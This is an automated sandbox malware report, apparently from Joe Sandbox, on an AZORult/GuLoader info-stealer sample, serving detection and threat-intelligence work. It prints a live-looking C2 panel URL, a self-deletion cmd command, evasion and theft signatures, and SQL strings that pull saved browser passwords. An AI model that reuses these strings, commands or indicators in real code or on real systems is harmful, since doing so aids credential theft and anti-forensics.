Play interactive tour

Edit tour

Windows Analysis Report 1COK25f1vT.exe

Overview

General Information

Sample Name:	1COK25f1vT.exe
Analysis ID:	542372
MD5:	5918b91ac2931af0267e4af06f3fd2e2
SHA1:	1ce7cccf52a0a569d013c0a91efb4f808c3c6194
SHA256:	41acb7b14d4167374da9039e1324caac71b397bf246abb50cb9ae1ca197b3cc1
Tags:	AZORultexe
Infos:
Most interesting Screenshot:

Detection

AZORult GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Potential malicious icon found

Yara detected Azorult

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected AZORult Info Stealer

Yara detected Azorult Info Stealer

Detected unpacking (changes PE section rights)

GuLoader behavior detected

Yara detected GuLoader

Hides threads from debuggers

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Self deletion via cmd delete

Tries to harvest and steal Bitcoin Wallet information

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to steal Instant Messenger accounts or passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality for execution timing, often used to detect debuggers

Abnormal high CPU Usage

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Binary contains a suspicious time stamp

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

1COK25f1vT.exe (PID: 7040 cmdline: "C:\Users\user\Desktop\1COK25f1vT.exe" MD5: 5918B91AC2931AF0267E4AF06F3FD2E2)

1COK25f1vT.exe (PID: 2132 cmdline: "C:\Users\user\Desktop\1COK25f1vT.exe" MD5: 5918B91AC2931AF0267E4AF06F3FD2E2)

cmd.exe (PID: 1360 cmdline: C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "1COK25f1vT.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6828 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

cleanup

Malware Configuration

Threatname: Azorult

{"C2 url": "http://185.29.11.112/rothchildnew/Panel/index.php"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.385834969.000000001FC24000.00000040.00020000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
0000000C.00000002.515598674.000000002030C000.00000004.00000001.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: 1COK25f1vT.exe PID: 2132	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: 1COK25f1vT.exe PID: 2132	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: 1COK25f1vT.exe PID: 2132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.1COK25f1vT.exe.400000.0.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
12.2.1COK25f1vT.exe.400000.0.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
12.2.1COK25f1vT.exe.400000.0.unpack	Azorult_1	Azorult Payload	kevoreilly	0x17353:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x1207c:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
12.2.1COK25f1vT.exe.2004391e.5.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
12.2.1COK25f1vT.exe.2004391e.5.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x2988e9:$string1: SELECT origin_url, username_value, password_value FROM logins 0x2994d6:$string1: SELECT origin_url, username_value, password_value FROM logins 0x109a34:$string2: API call with %s database connection pointer 0x10a668:$string3: os_win.c:%d: (%lu) %s(%s) - %s
12.2.1COK25f1vT.exe.1ffd81cd.7.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
12.2.1COK25f1vT.exe.1ffd81cd.7.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x30403a:$string1: SELECT origin_url, username_value, password_value FROM logins 0x304c27:$string1: SELECT origin_url, username_value, password_value FROM logins 0x175185:$string2: API call with %s database connection pointer 0x175db9:$string3: os_win.c:%d: (%lu) %s(%s) - %s
12.2.1COK25f1vT.exe.1ffb61e0.6.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
12.2.1COK25f1vT.exe.1ffb61e0.6.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x326027:$string1: SELECT origin_url, username_value, password_value FROM logins 0x326c14:$string1: SELECT origin_url, username_value, password_value FROM logins 0x197172:$string2: API call with %s database connection pointer 0x197da6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 4 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 12.2.1COK25f1vT.exe.400000.0.unpack

Malware Configuration Extractor: Azorult {"C2 url": "http://185.29.11.112/rothchildnew/Panel/index.php"}

Multi AV Scanner detection for submitted file

Show sources

Source: 1COK25f1vT.exe	Virustotal: Detection: 40%			Perma Link
Source: 1COK25f1vT.exe	ReversingLabs: Detection: 71%

Source: 0.2.1COK25f1vT.exe.1fb10000.1.unpack

Avira: Label: TR/Dropper.Gen

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_0040A610 CryptUnprotectData,LocalFree,

12_2_0040A610

Source: 1COK25f1vT.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 172.217.168.46:443 -> 192.168.2.3:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.168.1:443 -> 192.168.2.3:49787 version: TLS 1.2

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479960511.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491671682.0000000020370000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479481362.000000001F994000.00000004.00000001.sdmp, api-ms-win-crt-locale-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491786540.00000000203A4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482100861.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482084797.000000001F99C000.00000004.00000001.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, mozglue.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-2-0.dll.12.dr
Source:	Binary string: ucrtbase.pdb source: 1COK25f1vT.exe, 0000000C.00000003.489027569.000000001F308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, ucrtbase.dll.12.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471221878.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.470488936.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-memory-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, freebl3.dll.12.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.463561095.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-debug-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.476648214.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.476666229.000000001F9A0000.00000004.00000001.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479096628.000000001F990000.00000004.00000001.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491786540.00000000203A4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482506212.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482100861.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491797103.00000000203A8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.468064054.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477468468.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-core-util-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475402246.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475799639.000000001F998000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: 1COK25f1vT.exe, 0000000C.00000003.490976694.000000001F304000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489151743.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.493685455.000000001F978000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490948392.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, vcruntime140.dll.12.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491604512.0000000020358000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491586380.0000000020354000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491619490.000000002035C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-crt-environment-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, mozglue.dll.12.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491334003.0000000020320000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491319974.000000002031C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, freebl3.dll.12.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491836442.00000000203BC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491826874.00000000203B8000.00000004.00000001.sdmp, api-ms-win-core-console-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.481305544.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491748363.0000000020388000.00000004.00000001.sdmp, api-ms-win-crt-private-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.465766679.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491604512.0000000020358000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491586380.0000000020354000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477869582.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.478268008.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.478663759.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-crt-convert-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr
Source:	Binary string: msvcp140.i386.pdb source: 1COK25f1vT.exe, 0000000C.00000003.485203963.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492268054.000000001F688000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485153671.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, msvcp140.dll.12.dr
